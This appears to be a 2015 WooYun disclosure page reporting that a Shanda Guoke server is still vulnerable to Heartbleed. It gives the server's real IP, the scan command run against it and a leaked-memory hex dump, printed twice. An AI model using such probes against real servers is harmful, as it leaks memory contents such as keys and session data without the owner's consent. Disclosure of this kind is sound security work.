当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0106769

漏洞标题：盛大果壳还存在心脏滴血漏洞

相关厂商：盛大网络

漏洞作者： 大王叫我去巡山

提交时间：2015-04-09 11:58

修复时间：2015-05-24 13:22

公开时间：2015-05-24 13:22

漏洞类型：系统/服务补丁不及时

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-09： 细节已通知厂商并且等待厂商处理中
2015-04-09： 厂商已经确认，细节仅向厂商公开
2015-04-19： 细节向核心白帽子及相关领域专家公开
2015-04-29： 细节向普通白帽子公开
2015-05-09： 细节向实习白帽子公开
2015-05-24： 细节向公众公开

简要描述：

盛大果壳还存在心脏滴血漏洞
运维真是日了狗了

详细说明：

传送门：

58.215.44.24


python ssltest.py 58.215.44.24
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 429
 ... received message: type = 22, ver = 0302, length = 203
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  0100: 2E 32 31 35 2E 34 34 2E 32 34 00 0B 00 04 03 00  .215.44.24......
  0140: 02 01 02 02 02 03 01 01 00 0F 00 01 01 57 3D 5E  .............W=^
  0180: 10 C0 11 C0 12 C0 13 C0 14 C0 15 C0 16 C0 17 C0  ................
  01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0  0.1.2.3.4.5.6.7.
  0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0  P.Q.R.S.T.U.V.W.
  0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0  p.q.r.s.t.u.v.w.
  0280: 90 C0 91 C0 92 C0 93 C0 94 C0 95 C0 96 C0 97 C0  ................
  02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........
  0340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  03c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  04c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  05c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  06c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  07c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  08c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  09c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  10c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  11c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  12c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  13c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  14c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  15c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  16c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  17c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  18c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  19c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  20c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  21c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  22c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  23c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  24c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  25c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  26c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  27c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  28c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  29c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  30c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  31c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  32c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  33c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  34c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  35c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  36c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  37c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  38c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  39c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
WARNING: server returned more data than it should - server is vulnerable!

漏洞证明：

传送门：

58.215.44.24


python ssltest.py 58.215.44.24
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 429
 ... received message: type = 22, ver = 0302, length = 203
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  0100: 2E 32 31 35 2E 34 34 2E 32 34 00 0B 00 04 03 00  .215.44.24......
  0140: 02 01 02 02 02 03 01 01 00 0F 00 01 01 57 3D 5E  .............W=^
  0180: 10 C0 11 C0 12 C0 13 C0 14 C0 15 C0 16 C0 17 C0  ................
  01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0  0.1.2.3.4.5.6.7.
  0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0  P.Q.R.S.T.U.V.W.
  0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0  p.q.r.s.t.u.v.w.
  0280: 90 C0 91 C0 92 C0 93 C0 94 C0 95 C0 96 C0 97 C0  ................
  02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........
  0340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  03c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  04c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  05c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  06c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  07c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  08c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  09c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  10c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  11c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  12c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  13c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  14c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
